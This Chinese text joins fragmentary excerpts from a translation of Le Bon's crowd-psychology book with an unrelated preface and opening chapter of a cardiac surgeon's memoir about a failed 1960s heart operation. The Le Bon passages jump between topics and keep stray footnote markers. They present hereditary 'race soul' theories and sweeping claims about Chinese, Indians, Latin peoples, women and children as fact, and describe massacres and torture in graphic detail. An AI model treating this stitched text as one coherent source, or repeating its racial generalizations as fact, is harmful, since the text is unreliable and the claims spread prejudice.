　　一个心理的群体所展示的最令人震惊的事实如下：无论是什么样的人构成群体，无论他们的生活方式，他们的职业，他们的性格，或者他们的智力，是如何的相同或者不同，仅仅因为他们构成了群体，就能让他们仿佛具有了一个集体灵魂。这个灵魂让他们有了一种与在每一个人分开时完全不同的感知、思维和行动的方式。有些想法，有些情感，只有在个体成为群体时，才会涌现出来，或者转化为行动。心理的群体是一个临时的生灵，由在一段时间内凝结在一起的异质性元素构成，绝对就像是一个个活生生的身体的细胞，通过它们的聚合，形成一个新的生物，展示出与每一个细胞的特征完全不同的特征。

　　我们很容易看出，群体中的个体与孤立的个体不同。但这样一种不同的原因却很难被发现。

　　要想看到这些原因，首先需要记住现代心理学的这一观察结果：无意识的现象不仅仅在有机的生命中，而且在智力的运行过程中也起到首要的作用。精神的有意识的生活，与它的无意识生活相比，只代表了非常小的一部分。最精妙的分析，最敏锐的观察者，也只能发现引导精神的诸多无意识元素中的一小部分。我们有意识的行为，来自一个无意识的基质，它主要由遗传的影响所构成。这一基质涵盖了许多先民留下来的东西。它们构成了一个种族的灵魂。在我们行为的那些说得出口的原因的后面，有许多我们所不知道的秘密原因。我们日常的行为，大多数都是不为我们所知的隐秘动机的结果。

　　巡航舰“美雉号”在海上航行，试图找回“摇篮号”小船，一场暴风雨让它脱离了战舰。当时正是白天，阳光灿烂。突然，瞭望的水手告诉大家，远方出现一条迷失了航向的船只。大家都朝那个点看去，所有人，包括军官和水手，都清晰地看到一只筏，上面好多人，被一些小艇拖曳着，上面飘着遇难的信号。海军元帅戴弗赛派人登上一艘小船，去解救落难的人。在靠近的时候，小船上的水手和军官们都看到“许多人在那里骚动，伸出手，听到许多声音混杂在一起的低闷的声音”。一旦到达了所谓的船筏，却只看到几条树枝，上面覆盖着树叶，是从附近海岸拔下的。面对触手可及的明显事实，幻觉消失了。

　　这个例子很好地展示了我们要解释的集体幻觉的机制。一方面，是本身带有心理预期的群体；另一方面，瞭望的水手告诉大家前面出现的是一艘在海上迷失了方向的船只。这一暗示通过传染之力，被所有在场的人，军官或者水手，集体接受了。

　　群体的人数不用太多，就可以摧毁正确观看的能力，让真实的事实被与它们不相关的幻觉所替代。几个个体聚集在一起，就可以是群体，即便他们是些杰出的学者，一旦面对超出他们专业的主题，他们就具备了群体的所有特征。他们每个人本身具有的观察能力和批评精神都会消失。

　　几年前，报纸上报道了两个淹死在塞纳河的小女孩被从河里捞起来的事件。有十几个目击者，以最确定的方式识别了尸体。大家的说法是如此地一致，所以在法官的眼里，没有任何可以存疑的地方。他下令可以签写死亡证明书了。但是，就在人们将两个女孩入葬的时候，出于完全偶然的机会，人们发现，所谓的遇难者，还好好地活着，她们与淹死的小女孩的长相仅有一点点相像。如前面所说的许多例子，第一位证人出现了幻觉，他的说辞就足以暗示其他所有人。

　　比如下面一个例子，已经过去很长时间了，正好可以看出我上面提到的两种暗示是怎么起作用的：

　　“孩子被另一个孩子认出来了—但认错了。接下来，就出现了一系列的错认。

　　“于是，大家就看到了一件非常奇特的事情。就在第二天，一位小学生认出了尸体是谁以后，一名女子尖叫道：‘啊！上帝啊，是我的孩子啊！’

　　“人们把她带到了尸体旁边，她仔细看了身边的遗物，看到额头上有一道伤疤。她说：‘就是他，是我可怜的儿子。七月份就不见了。原来是被人拐走了，杀害了！’

　　“这位女子是福尔街上的看门人，名字叫夏汪德莱夫人。她的小叔也被叫来了，他毫不犹豫地说：‘就是他，可怜的小菲利贝尔。’许多福尔街上的居民，都认出他就是菲利贝尔·夏汪德莱。这些人还包括他的小学老师，因为看到了一块奖章证明是他的。

　　“可是！邻居、小叔、小学老师和母亲本人，都弄错了。六个星期之后，小孩的身份被确定了。是一名波尔多的小孩，是在波尔多被杀，被运到巴黎的。”注 11

　　我们注意到，这种辨认的工作，往往是让女人和孩子去做的，也就是那些最容易被影响的人。这就说明，在法律上，这样的认证，价值究竟能有多大。尤其是孩子们的确认，真的不应该被取证。法官们常说，人在这一年龄，是不会说谎的，好像这是人所周知的。只要是稍微精妙一点的心理学家，就可以告诉他们，正相反，人在这一年龄，几乎常常说谎。无疑，这些谎言是无辜的，但依然是谎言。面对一个被告究竟是否应该被判刑这样的事情，与其如人们经常做的那样，听从一名孩子的证词，还不如扔一个硬币，看正面还是反面，来做出决定。

　　群体只懂过于简单和极端的情感，所以，人们向他们暗示的意见、观念和信仰，他们不是全盘接受，就是全盘否定，不是把它们当作绝对真理，就把它们当成绝对的谬误。通过暗示的渠道而决定的信仰一直都是这样的，因为不是通过理性的渠道而产生。每个人都知道，宗教信仰是如何地不宽容，对于人的灵魂有一种多么专制的统治。

　　专横和不宽容，为群体构建出一些非常明确的情感，他们很容易接受这些情感，实践这些情感。他们听命于强大，对善良基本上无动于衷，因为善良很容易被视作是一种懦弱的表现。他们对于一些善良的主人从未有过好感，而对严厉统治他们的暴君服服帖帖。他们总是为暴君们竖起高高的雕像。如果他们有朝一日把被推翻的暴君踩在脚下，那是因为，暴君一旦失去了力量，就被归入了那批被蔑视的、不被害怕的类型当中。群体喜爱的英雄典型，总有恺撒的样子。他的光彩诱惑他们，他的威严让他们臣服，他的大刀让他们害怕。

　　群体面对脆弱的当局，随时准备反抗，面对强大的当局，却带着奴性躬身弯腰。假如当局的威权时断时续，那么，总是遵循自己极端情感的群体，就会时不时地从无政府倒向奴性，又从奴性倒向无政府状态。

　　在许多孤立的个体身上也可以看到。不光是那些原始人身上，还有所有那些因为他们的精神的任何一个方面—如由强烈的宗教信仰组织起的宗派人士—而与原始人相近的人。比方说，我在一些有教养的印度人身上，就能看到这一现象。他们是我们的欧洲大学培养出来的，而且拥有一切文凭。在他们不变的遗传下来的宗教或者社会理念的基质之上，重叠了一层与前者没有任何关系的西方理念层，却丝毫也不能改变基质。根据各种情况的偶然性，其中的某种层面会出现，带着相应的话语体系，同一个人，可以显示出最显著的矛盾性来。这些矛盾更多是表面的，并非真的存在。因为在一个个体身上，只有遗传下来的理念，才有足够的力量，可以成为真正影响人的行为方式的动机。只有当一个人通过跨种族的通婚，受到不同的遗传冲动的影响时，他的行为才可能转眼之间变得非常矛盾。在此无需强调这些现象，尽管它们的心理重要性是非常明显的。我认为，需要至少十年的旅行和观察，才可以理解它们。

　　不要以为，一种观念能够产生效果，是因为人们证明了它的正确性，即便是在文化修养高的人那里。我们只需看，最清晰的论证，对于大多数人来说，也几乎不产生影响，就可以理解这一点。一个有教养的听众，可以承认一种明显的道理，但是，很快，他就会被他的无意识拉回到他的原始认知。你过几天再去看他，他就又会拿出他原来的论据，采用完全一模一样的说法。事实上，他处于已经成了情感的原先观念的影响之下。而只有这样的观念，才对我们的行为和话语的深层动机产生作用。

　　集体逻辑的特点就是：将并不相似的、只有表面关系的东西联想起来，将所有的个案马上普遍化。那些知道如何操纵群体的演说者，总是将这一类的联想介绍给群体。只有它们，才可以影响他们。一系列严谨的论证，对于群体来说，是根本无法理解的。正因如此，我们可以说群体并不进行推理，或者总是进行错误的推理，而且不能被一种理性推理所影响。我们在看书的时候，会惊讶于一些演说是多么地经不起推敲，却对听众产生了巨大的影响。但我们忘记了一点，它们本来就是用来煽动群体的，不是供哲学家们阅读的。演说者跟群体有私密的交流，知道去运用那些可以诱惑群体的意象。假如成功了，他的目的就达到了。即便是长篇大论的雄文，也不如成功地诱惑了那些需要说服的人的几句话。

　　征服者的强大，以及国家的力量，都建立在民众的想象力之上。只要对民众的想象力施加影响，就可以带动群体。所有历史上的重大事件，佛教、基督教、伊斯兰教的创立，宗教改革，法国大革命，以及我们今天具有威胁性的社会主义的蔓延，都是对群体想象力产生强烈影响而造成的直接或遥远的结果。

　　因此，自从人类存在以来，人所从事的两大工作就是，先创造出一个自成一体的传统，然后，当这些传统不再有益处之后，将它们毁掉。没有稳定的传统，就没有文明；没有对这些传统的缓慢的消灭，就没有进步。难的是在稳定性和变化性之间，找到一个恰到好处的均衡。这一困难是巨大的。当一个民族任由它的风俗在一代一代人当中过于牢固地固定下来，它就不会演变了，就变得跟中国一样，不再能够完善自身。粗暴的革命本身也变得没有用，因为其结果就是，要么链子断裂后的碎片很快就又衔接在一起，过去得以回归，什么变化也没有，要么，四分五裂的碎片产生出无政府状态，并很快导致堕落。

　　国家通过各种教材，制造出那么多有文凭的人。却又只能雇佣其中的一小部分人，自然会让其他人失业。所以，国家只能养前一批人，却让后一批人成为自己的敌人。在整个社会的金字塔，从上往下，有文凭的人今天都在抢各种职位。一个做批发的商人，很难找到一个可以到殖民地国家去代表他的经纪人，而每当有一个哪怕最低微的官方职位，总有成千上万的人去求职。光是一个塞纳省，就有两万名教师没有工作。他们都瞧不起农村，瞧不起作坊，只有向国家伸手要钱活命。由于幸运者总是少数，不满的人自然很多。这些人可以加入任何革命，不管领袖是谁，是为了何种目的。对无用的知识的获取，一定会将人变为反叛者注 31。

　　要想改变这一潮流，肯定是为时已晚。唯有经验—民族的最终的教育者—可以让我们看到自己的错误。唯有经验，可以证明，我们必须扔掉那些可恶的教材，废除那些可怜的考试，去开展职业教育，让年轻人回到如今业已荒芜的田野、被遗弃的作坊和殖民地企业。

　　这位杰出的历史学家接下来为我们展示了我们的体系与英国人的体系的差别。在英国人那里，教育不源自书本，而是来自事物本身。比方说，工程师在一个车间，而不是在一所学校获得教育，每个人都能够恰好达到他的智力所能允许他达到的级别。假如他不能继续成才，就成为工人或者技师；假如他的能力允许，就能成为工程师。对于社会来说，这样的做法，要比让一个人的前途完全取决于在他 18 岁或者 20 岁的时候一次几个小时的考试的结果，要民主得多，有用得多。

　　“在医院，在矿场，在手工作坊，在建筑师、法律工作者那里，很小的时候就被录用的学生们进行学习，做实习。有点像在我们这里，教士在修行室，或者年轻画匠在画室。在此之前，在开始学习之前，他已经学到了一些概述性的普通的课程，已获得一些整体框架，可以在里面放入他之后观察到的知识。然而，更经常的是，他在自己的自由时间内，有一些技术性的课程可以听取，一边将自己每天积累的经验慢慢地加以综合。在这样一种体制下，实践能力可以不断增长、发展，一直增长到学生的能力所能达到的程度，并且朝着他未来的工作要求发展。他可以从一开始就去适应他想要从事的特殊工作。在英国和美国，以这样一种方式，年轻人很快就从自己身上找到自己所拥有的东西。从 25 岁起，而且甚至更早，假如物质和资本都允许的话，他就不仅仅成了一个有用的实践者，而且是一个有自己的创业能力的人，他不仅仅是齿轮，而且还是发动机。在法国，盛行的是相反的方法，而且一代比一代更加接近中国方式。我们浪费掉的力量是巨大的。”

　　词语的力量与他们所唤起的意象相关，完全独立于它们真正的意义。那些最经常被胡乱定义的词语，反而有时候更能产生效果。比方说以下这些词：民主，社会主义，平等，自由，等等。这些词的含义是如此地模糊，多么厚的书本，也无法定义清楚。然而，一种真正魔法般的力量与他们的短促音节紧紧联系在一起，仿佛它们蕴含着能够解决所有问题的方案。它们概括了各种不同的、无意识的追求，以及实现这些追求的希望。

　　它们在拉丁民族的灵魂中，跟在英美人的灵魂中，所对应的思想和意象，是完全相对立的。在拉丁民族那里，民主主要意味着个人的意志和能动性在国家意志面前消亡。国家越来越需要去引导，去集中，去垄断，去制造。所有的政党，毫无例外地向国家求助，无论是激进派、社会党，还是君主主义者。在盎格鲁-撒克逊人那里，尤其是在美国人那里，同样一个词“民主”，正好相反，意味的是个体和个体意志的强烈发展，国家自动隐去，除了警察、军队和外交关系以外，国家什么也不领导，甚至连教育也不管。因此，对于这两个不同的民族，同样一个词，有着完全对立的意义注 36。

　　最经常的情况下，领袖并非思想家，而是行动家。他们并不很明智，而且不能太明智，因为明智一般会导致怀疑和不行动。他们更多地属于那些神经质的人，超级激动的人，半疯狂的人，处于疯狂的边缘。无论他们捍卫的理念或者他们追求的目标有多么荒诞，一切逻辑推理在他们的信念之前，都失去功效。对他们的蔑视和迫害只能更加刺激他们。个人的利益、家庭，一切都可以被牺牲。在他们身上，保守本能也消失了，以至于他们要求的唯一回报，就是成为殉道者。信念的强度，给了他们的话语一种强大的暗示能力。大众总是会去听那些具有坚强意志的人。个体聚集成群体，失去一切意志，就会本能地听从一个具有意志的人。

　　威望是一切统治的最有力的支撑。没有威望，神灵、国王和女人都无法高高在上。

　　假如可以这么说的话，正如西班牙人天生热爱舞蹈，德国人天生热爱音乐，法国人天生热爱革命。

　　带着同样坚定的步伐，他们在前一夜刚刚这样伴随着他的受害者们走向断头台。信徒们总是带着愤怒，将他们古老神灵的雕像打碎。

　　因为失败而带走的威望，会突然消亡。通过人们进行的讨论，也可以让威望渐渐失去，但这要缓慢得多。但是，这一方法具有非常肯定的效果。威望一旦能够被讨论，就已经不再是威望。那些长期保持威望的人，从不容忍讨论。要想让群体敬仰，一定要能与他们保持距离。

　　当今的社会主义信仰有着明显的缺陷，但这并不妨碍它们植根于群体的灵魂。它们相对于所有宗教信仰的真正短处在于：宗教所许诺的幸福理想，只有在下辈子才能实现，所以没有任何人可以质疑；而社会主义的幸福理想，必须在地球上得到实现。只要第一次的实现尝试遭遇失败，这些许诺的虚假性就会显现，这一新的信仰很快就会失去所有的威望。所以，要等到它的实现之日，它的威望才会增强。正是出于这一原因，这一新宗教虽然如所有在它之前的宗教一样，先起到了一种破坏作用，但是，它在之后很难起到创造的作用。

　　我们把一个短期的阶段，1790—1820 年作为例子。也就是三十年，仅仅一代人的时间。我们可以看到，群体首先是君主立宪的，变成了革命的，后来又是拥护皇帝的，最后又变成君主立宪的。在宗教上，它首先是天主教，结果后来变成了无神论，又变成有神论，后来，又回到了最为极端的天主教。而且，经历这种变化的，并非只是群体，还有群体的领导者。我们看到，那些伟大的国民公会议员，国王坚定的敌人，既不信上帝，也不要主人，却变成了拿破仑的谦卑仆人，然后，又在路易十八的行进队伍中，虔诚地手持大蜡烛。

　　一些理论的问题，比方说社会主义，只有在一些没有知识的阶层里，才能找到真正能被它们说服的捍卫者：比方说煤矿或者工厂里的工人。小资产阶级，略微受过教育的工人，都已经变得持过于怀疑的态度。

　　“他们身上有巴黎工匠那种易于感染的同情心，以及细腻和敏感。在修道院监狱，一名联盟卫兵听说被关押的犯人已经 26 个小时没有水喝了，坚决要把做事疏忽的看守杀掉，而且若不是犯人们求情，他一定这么做了。当一个犯人被（他们临时组建的法庭）宣布无罪的时候，无论是看守还是杀人者，所有人都会热情地拥抱他，拼命为他鼓掌。”然后，他们就回去杀其他人。在杀人的时候，大家感到的是一种欢快的气氛。他们围着尸体唱歌跳舞，专门放一些长凳，给一些幸运的“贵妇”，让她们可以目睹如何杀死贵族。他们还继续显示出一种特殊的公正感：一个负责杀人的人在修道院监狱里抱怨说，坐得太远的贵妇们看不清楚，而且只有一部分人才有亲手杀死贵族犯人的机会。他们就跑到法庭，把这一意见告诉法官。于是他们就决定，把杀人者排成两行，让犯人们慢慢从他们中间走过，每个人只能用刀背去砍，以延长行刑的时间。在拉福斯监狱，犯人被全部脱光，在半个小时的时间内，被慢慢折磨。等所有人都看够了之后，再开膛剖腹，杀死他们。

　　杀人者还都很自律，显示出我们提到过的群体所拥有的道德品行—他们会把犯人的钱和首饰上交到委员会的桌子上。

　　在他们的所有行为中，我们都可以看到非常低级的逻辑推理。这也是群体灵魂的特点。因此，在杀死了一千两百到一千五百个“国家公敌”之后，有人提出，在其他监狱里，还有一些年老的乞丐、流浪汉、年轻的犯人，都是一些无用的人，却还要吃喝，索性一并解决了他们。他的暗示马上就被人接受。而且，他们认定在他们当中，一定藏有国家公敌，比方说，一个叫德拉卢伊的女人，是一名下毒犯被处死后留下的遗孀：“她一定对自己被关押十分愤怒。只要有机会，她一定会在巴黎纵火。这话她一定说过。她就是说了。除掉她。”这一逻辑推理显得非常简单明了。于是，所有人都被杀死了，包括五十多个 12 到 17 岁的孩子。因为，将来他们也可能成为国家公敌，所以，必须清除掉。

　　一个星期之后，所有行动都结束了，杀人者可以去休息了。他们坚信自己为国家做出了贡献，跑到当局那里要奖赏；其中最坚定的人还要求得到勋章。

　　1871 年的巴黎公社的历史为我们提供了类似的事实。群体具有越来越大的影响力，而权力机构在他们面前节节败退，这使得我们可以确信，将来还会有很多这样的例子。

　　一个好律师所做的，就是要对陪审团成员的情感施加影响，与面对所有的群体时一样，少用逻辑推理，或者只使用最基本的逻辑推理手段。一位在刑事法庭总是成功胜诉的著名英国律师很好地分析了这一方法：

　　“他一边辩护，一边仔细观察陪审团。这是他最擅长的时刻。凭他的感觉和习惯，他可以在他们的脸上，看到自己每一句话，每一个词的效果，然后得出自己的结论。首先要能区分出，哪些是肯定可以站在自己一边的人。辩护人从一开始，用几句话，就把他们抓在了手里。然后，他开始对付那些看上去会反对的人，他会努力去猜测，他们为什么对被告反感。这是工作中最微妙的部分，因为在想要判决一个人的愿望中，会有无穷的理由，它们与正义感并没有关系。”

　　上面这几行字，很好地概述了演讲艺术的目的，也向我们证明，一些事先准备好的讲话是没有用处的，因为需要根据当时产生的印象，不断地改变所用的措辞。

　　演说家无须改变所有陪审团成员的意见，仅需争取那些能够决定普遍意见的领头人。就像在所有群体中一样，少数个体引领其他人。我在上面引用的律师说：“我的经验告诉我，在判决的时候，只需要一两个有影响力的人，就可以带动整个陪审团。”需要做的，就是要用最微妙的暗示，去说服这两三个人。首先，需要取悦他们。能够取悦一个群体中的人，他就几乎已经被你说服了，已经准备好，把取悦了他的人提出的任何理由，都看作是很好的理由。我在有关拉修律师的文字中，看到了以下的轶事：

　　“我们知道，在刑事法庭上陈述自己的辩护词的时候，拉修的眼睛一直不离开两到三个他认为有影响力的、但很难对付的陪审团成员。一般来说，他会把这些反对的人尽量争取过来。然而，有一次在外省，有那么一个人，他花了四十五分钟，用他最坚定的论证，也无法说服他。那人坐在第二排的第一个，是第七号陪审员。太让人绝望了！突然，就在滔滔不绝的辩护过程中，拉修停了下来，对刑事法庭的庭长说：‘庭长先生，您能不能让人拉一下窗帘，就在那边，对面，第七号陪审员被太阳晒得睁不开眼了！’第七号陪审员脸红了，微笑了一下，说了声谢谢。最后，此人站到了辩护人的一边。”

　　卡米耶·代穆兰（Camille Desmoulins，1760—1794），律师、记者，法国大革命时期重要的革命家、演说家。他起初与罗伯斯庇尔友谊甚笃，后来于 1794 年 4 月 5 日与丹东一起在革命广场（今协和广场）被罗伯斯庇尔处死。

　　想要简明扼要地标示出这些演变的各个阶段是很容易的。在本书结束之际，我们来概述一下这个过程：

　　假如我们从大线条来看那些在我们之前的文明的辉煌和衰败是如何发生的，我们能看到什么？

　　在这些文明的黎明时期，有一小部分人，出身不尽相同，因为变迁、入侵和征服等原因，偶然地聚集到了一起。这些人的血液不同，语言和信仰也非常多样，他们的共同联系，就是对一位首领的法则有着或多或少的遵从。他们蒙昧的聚集之中，有着群体心理特征的最高体现。他们有着临时的凝聚力，英雄主义，脆弱，冲动和暴力。他们身上没有稳定性。他们是野蛮人。

　　随后，时间会完成它的工作。阶层的认同，不断的通婚，共同生活的必要性，渐渐起到了作用。不同整体的聚集群开始产生融合，形成一个种族，也就是一个具有共同特征和情感的聚集体，遗传会渐渐固定这一聚集体。群体变成了民族，该民族将可以走出野蛮。

　　然而，它要做到这一点，需要在长期的努力，不断的搏斗，不断的重新出发之后，找到一个理想。这一理想的本质是什么，没有关系。无论是对罗马的崇拜，雅典的强大，或者是安拉的胜利，都足以让正在形成过程中的种族中的所有个体具有思想和情感上的完美的统一性。

　　此时，一种新的文明就可以诞生，包括它的制度、信仰和艺术。种族在它的梦想的引导下，可以渐渐拥有一切可以带来光彩、力量和辉煌的东西。在有些时刻，它依然是群体，但是，在群体流动、变化的特征之后，会有一个固定的基质，就是该种族的灵魂，将对一个民族的摇摆不定产生严格的限定，并减少随机性。

　　但是，在完成了它的创造行为之后，时间就开始它的破坏工作。神灵与人，都无法逃避这一工作。当文明达到了一定程度的强大和复杂之后，就不再继续发展。而只要它不再发展，它就必定会很快衰落，很快就会出现衰老的时刻。

　　这一不可避免的时刻的标志，就是支撑着种族的灵魂的理想开始减弱。随着这一理想的黯淡，所有从它那里得到灵感来源的宗教、政治或社会建筑，就开始动摇。

　　随着其理想的渐渐消亡，种族越来越失去让它一致、统一，为它带来力量的东西。个体的性格和智力可以增长，但同时，种族的集体自私被个体自私的极度发展所替代，随之而来的，是种族的性格的减弱，以及行动能力的减弱。构成一个民族，一个统一体，一个整体的人，最后变成一群没有整体性的个体的聚集，被传统和制度人为地维持，在一段时间内苟延残喘。于是，人们被他们的利益和追求所分化，不再知道如何管理自己，就会要求在任何细小的行为上，都被领着走，从而让国家行使它将所有个体都吸走的影响力。

　　随着古老理想的彻底丢失，种族最后也就失去了它的灵魂。它只不过是无数孤立的个体，重新成为它在出发点时的样子：一个群体。它会表现出所有的过渡性质的特征，没有实质性，没有明天。文明不再具有任何固定性，听任一切偶然的摆布。贱民成为王后，野蛮人脱颖而出。文明可以看上去依然亮丽，因为它保留了长期的过去创造出的外立面，但事实上，它已经是一个被虫蛀得千疮百孔的建筑，没有任何的支撑，只要风暴一来，就会倒塌。

　　追随一个理想，从野蛮走向文明；然后，一旦这个理想失去了它的力量，就开始败落，消亡—这就是一个民族的生命历程。

打开一颗心

摘录

　　顺便一提，韦斯塔比医生不但手术技术精湛，而且文笔细腻生动传神。他走遍世界进行学术交流和会诊手术，也领略了很多异域风情，他描写这些经历和景色，令人有身临其境之感。而他描写的英国心脏外科医生手术室里劳累时喝喝咖啡，下班后带着私人猎犬围着庄园的私人湖泊跑步放松，同样令人神往，这些一张一迟的片段都是国内医生难以企及的，希望今后中国的外科医生也有机会享受这难得的片刻休闲，然后才能更好地、元气满满地投入下一个挑战中。

　　这本《打开一颗心》，讲的是“牛津心脏外科医生奇遇记”。

　　要知道，心脏外科可不是平凡学科，它是人工循环、呼吸，及麻醉、输血技术高度发达之后的二阶分科。最早的外科在创伤、感染等皮肤问题上逞能，在四肢骨折这样的肢体问题上显威，后来逐渐拓展到腹部—消化道外科、泌尿外科、妇产科手术。敢在心脏上动刀子，不仅需要职业勇气，还需要高精尖的技术与辅助设备。尽管不断有人尝试着把柳叶刀伸向心脏，但成功的案例却凤毛麟角。

　　再说“奇遇”。在韦斯塔比的职业生活中，“奇”常与“神”“怪”连缀，有“神奇”“奇人”“奇术”，心摹手追，心随意动。“奇遇”，从乙醚楼到太平间，有布罗克勋爵旧靴子的加持，上帝就在患者肩头随时护佑；一定还有“怪病”，像是主动脉瓣严重畸形的马术爱好者，后来因妊娠而凸显危机；“怪人”，像是没有脉搏、没有血压的机械心脏人、电子心脏人，走廊里偶遇的穿越沙漠、逃出大屠杀的阿拉伯无名哑母病孩，全力施救却最后双双殉命；“怪招”，两颗心脏并联工作的手术方案……虽说心脏外科救助场景不是影视剧，但却时时上演着惊心动魄的生死大戏，心脏外科大夫的脑洞比影视编剧要大得多，患者在苦难过山车上的跌宕程度也比好莱坞大片刺激得多。

　　手术室里有一份特别的感悟：由神秘抵达圣洁，由信念、意志的圆满抵达过程、操作的圆满。患者命若悬丝，是那么脆弱，却又志如磐石般坚强。正是这样一份职业，令韦斯塔比感受到了某种无与伦比的愉悦，令他矢志不移。他将这份职业愉悦命名为“肾上腺素效应”：一看见救护车驶入，一听见患者呻吟，一置身危机场面就兴奋无比，无论先前是多么疲惫，都会杂念全无，一心赴救，毫不迟疑。医生作家毕淑敏将这类外科行为称为“嗜血—兴奋”，一见到流血场面就神清气满，血脉偾张，跃跃欲试，积极向前。积极心理学家米哈伊将这份职业幸福解读为“心流效应”，也叫“沉浸效应”。“心流”就是许多人形容自己表现最杰出时那份水到渠成、不费吹灰之力的感觉，是外科医生的“陶醉”，运动员的“巅峰感受”，文学家、艺术家的“思如泉涌”。心流发生时，人必须投注全副精力，心无旁骛，意念因此完全协调和一，丝毫容不下无关的念头或情绪。此刻自我意识已消失不见，时光飞逝而不觉，但感觉却比平日强烈，生命获得极致的发挥，生活本身就变成目的。虽当时不觉得快乐，但任务之后回顾时，会心生感激与快乐之情。或许在我们身边的医学职场里时有抱怨，或抱怨患者（家属）无知刁蛮，或抱怨自己付出太多、收获太少，却没有像韦斯塔比那样从感恩、敬畏、悲悯中捕捉到难以言喻的心流效应。对于这样的中国同行来说，不能不说是一份心流缺失的职业“遗恨”，他们或许可以从韦斯塔比的职业生活中汲取点什么。从这个意义上讲，韦斯塔比的故事除了有拯救患者的镜鉴价值之外，还有救赎同行的别样功能。

　　我们大多数人还知道，一些别的化学物质也能随呼吸排出体外，特别是酒精，当它在血液中的含量超过肝脏的代谢能力时，我们就会呼出酒气。

　　1966 年 11 月，我十八岁，正在查令十字医院的医学院读第一学期，开学还不到一个礼拜。学校位于伦敦中心，和医院只隔了一条街。当时的我想要亲眼看看一颗生机勃勃的跳动心脏，而不是解剖台上的一块粘糊糊的死肉。学校门卫告诉我，街对面的医院每周三会做心脏手术，我想看的话就该去乙醚厅，爬上没有人去的顶楼，找到屋檐下方的一道绿门。他还警告我不要被抓，因为临床前学生是不许去那里的。

　　我坐下，双手扶住栏杆。四下没有别人，只有我和死神。透过蒙了一层水汽的玻璃，我费力地朝下方望去。这是一台心脏手术，病人的胸腔还开着。我边走边寻找最佳的视点，最后在主刀医生的正上方停下。他是个名人，至少在我们医学院是。他长得又高又瘦，仪表不凡，手指修长。在 20 世纪 60 年代，心脏外科手术还是激动人心的新鲜事物，能做这项手术的就那么几个人，彼此离得很远。受过这方面专业训练的人也不多，他们往往是老练的普通外科医生，先去某家率先开展心脏手术的医疗中心访问，然后自告奋勇在自家的医院开展新项目。他们必须紧张快速地学习，代价则以病人的性命来计。

　　两名手术助手、一名洗手护士[1]正挤在敞开的伤口上方，急速递送着手术器械。接着我看见了：那是他们目光的焦点，也是我的兴趣焦点——一颗跳动的人类心脏。严格地说它不能算跳动，只是在蠕动。心脏通过插管连着心肺机，一组成圆柱形的碟片在槽中转动，槽里盛的是富含氧气的血液，一只粗制的滚压泵正在挤压管子，促使这些生命之血回到病人体内。我仔细望去，依然只能看见那颗心脏，病人全身都盖着绿色的手术巾，在场的人谁也看不到病人的脸。

　　主刀医生不停地在两只脚之间切换重心。他穿着一双硕大的白色手术靴，为了防止袜子沾血，那个年代的外科医生都穿这种靴子。手术团队已经置换了病人的二尖瓣，但那颗心脏仍在为脱离心肺机而挣扎。这是我第一次看见一颗跳动的人类心脏，就连我这新人也看得出来，它太虚弱了，那鼓胀的样子像一只气球，虽然还有脉动，但已经不在泵血。我背后的墙壁上有一只盒子，上面标着“对讲机”。我打开开关，眼前的这一幕有了声响。

　　在一片放大了的嘈杂背景声中，我听见主刀医生说了一句：“我们最后再试一次。加大肾上腺素，通气，然后关掉心肺机看看。”

　　一片寂静，人人都在看着这个挣扎的器官为最后一线生机而奋斗。

　　“右冠状动脉里有空气。”第一助手说，“给我一根排气针。”他将针头推进主动脉，泛着泡沫的血液从伤口渗出。接着，病人的血压开始好转。

　　看到时机出现，主刀医生转头对灌注师说：“关掉心肺机！这是我们最后的机会！”

　　“心肺机已关闭。”灌注师回答。他音调平平，不像有多少信心的样子。

　　心肺机一关，病人的心脏就全靠自己了。左心室正将血液泵往身体，右心室将血液泵往肺部，两者都在苦苦支撑。麻醉医生期盼地盯着监护仪，看着上面的血压和心率。几位医生都知道这是最后的机会，他们沉默着从心脏上拔掉插管，然后缝合创口，每个人都巴望着它能强健起来。心脏先是无力地颤抖了几下，接着血压开始缓缓跌落。有什么部位在出血，血量不大，但出个不停。出血点在心脏背面，他们够不到的地方。

　　将心脏抬起的动作使它发生了纤颤。它又开始蠕动了，就像一袋软虫扭个不停，这不是正常的收缩，因为缺乏协调的心电活动。它在白费力气。麻醉医生看了一会儿监护仪才发现这个异常。“是 VF！”他喊道——我后来明白，“VF”意思是心室纤颤（ventricular fibrillation）。“准备电击。”他接着说。

　　主刀医生已经料到这个，把除颤器的电极板紧紧贴上病人的心脏。“30 焦耳。”呲啦！没有起效。“加到 60。”

　　呲啦！这一次心脏除颤了，但接着它就呆在了原地，完全没有心电活动，仿佛变成了一只湿漉漉的棕色纸袋子。用我们的话说，这叫“心脏停搏”。

　　血液继续流入胸腔，主刀医生用手指捅了捅心脏，左右心室都收缩了几下。他又捅了捅，心律恢复了一些。“太慢了，给我一针管肾上腺素。”他接过注射器，毫不手软地从右心室扎到左心室，针头中射出一股清澈液体。接着他用修长的手指按摩心脏，想把这股强力兴奋剂推进冠状动脉。

　　感恩的心肌立刻有了反应。接下来的一幕和教科书上写得一模一样：心率开始加快，血压开始飙升，它越来越高，几乎到了冲破缝合线的危险境地。接着，就像是慢镜头，主动脉上插管的部位破了一个口子。哗啦！就像间歇泉喷射，猩红色的血液直喷到手术灯上，几名医生也给溅了一身血，绿色的手术巾也浸湿了。有人小声说：“坏了。”他说得太保守——这场战斗，他们输了。

　　还没等他们用手指堵住创口，心脏就已经流空了血。血从手术灯上一滴滴落下，几道红色的溪流在大理石地面上流动，粘住了他们的橡胶鞋底。麻醉医生发疯似地朝静脉里挤压血袋，但已经不起作用了。生命的气息迅速消逝。当注入的肾上腺素效力减退，这颗肿胀的心脏像气球一样鼓起，再也不动，永远停止了。

　　几个医生在绝望中默默伫立。每周都是如此。接着主刀医生离开了我的视野，麻醉医生也关掉呼吸机，等待心电图变成一条平线。他从病人的气管中拔出管子，然后也从我的视野中消失。病人的脑已经死亡。

　　就在几米开外的地方，雾气笼上了河岸街。下班的人们匆匆走进查令十字车站躲雨；辛普森餐厅和鲁尔斯餐厅[2]里，有人终于吃完了午餐；华尔道夫酒店和萨伏伊酒店内，酒保正在摇晃鸡尾酒。那些皆是生机，这里只有死气。手术台上刚刚有人孤独地死去。不再痛苦，不再气短，不再有爱，也不再有恨。什么都不再有了。

